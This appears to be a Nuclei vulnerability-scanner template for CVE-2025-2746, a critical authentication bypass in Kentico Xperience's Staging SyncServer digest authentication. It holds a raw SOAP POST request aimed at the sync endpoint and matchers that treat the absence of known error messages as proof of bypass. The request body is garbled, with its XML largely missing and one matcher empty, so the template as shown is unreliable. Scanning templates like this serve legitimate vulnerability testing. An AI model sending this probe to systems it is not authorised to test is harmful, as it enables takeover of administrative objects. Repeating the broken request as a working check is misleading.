id: CVE-2025-2746
info:
name: "Kentico - Authentication Bypass"
author: vedas-arpsyndicate
severity: critical
description: |
An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync
Server password handling of empty SHA1 usernames in digest authentication. Authentication bypass allows an
attacker to control administrative objects.This issue affects Xperience through 13.0.172.
reference:
- https://www.exploit.observer/?keyword=CVE-2025-2746&match=exact
- https://subdomain.center/?engine=ammonites&keyword=kentico&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-2746
cwe-id: CWE-287
metadata:
verified: false
tags: cve,cve2025,kentico,stag,auth-bypass,xperience13,vuln,kev,vkev
variables:
rand: "{{to_lower(rand_text_alpha(32))}}"
http:
- raw:
- |
POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: text/xml; charset=utf-8
SOAPAction: http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData
admin
]]>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{rand}}"
- ""
condition: and
- type: word
part: body
words:
- "Site not running"
- "SyncServer.ErrorLicense"
- "SyncServer.ErrorServiceNotEnabled"
- "Staging service is not enabled on this server"
- "Staging does not work with blank password"
- "Missing X509 certificate token"
- "The security token could not be authenticated or authorized"
condition: or
negative: true
- type: word
part: content_type
words:
- "text/xml"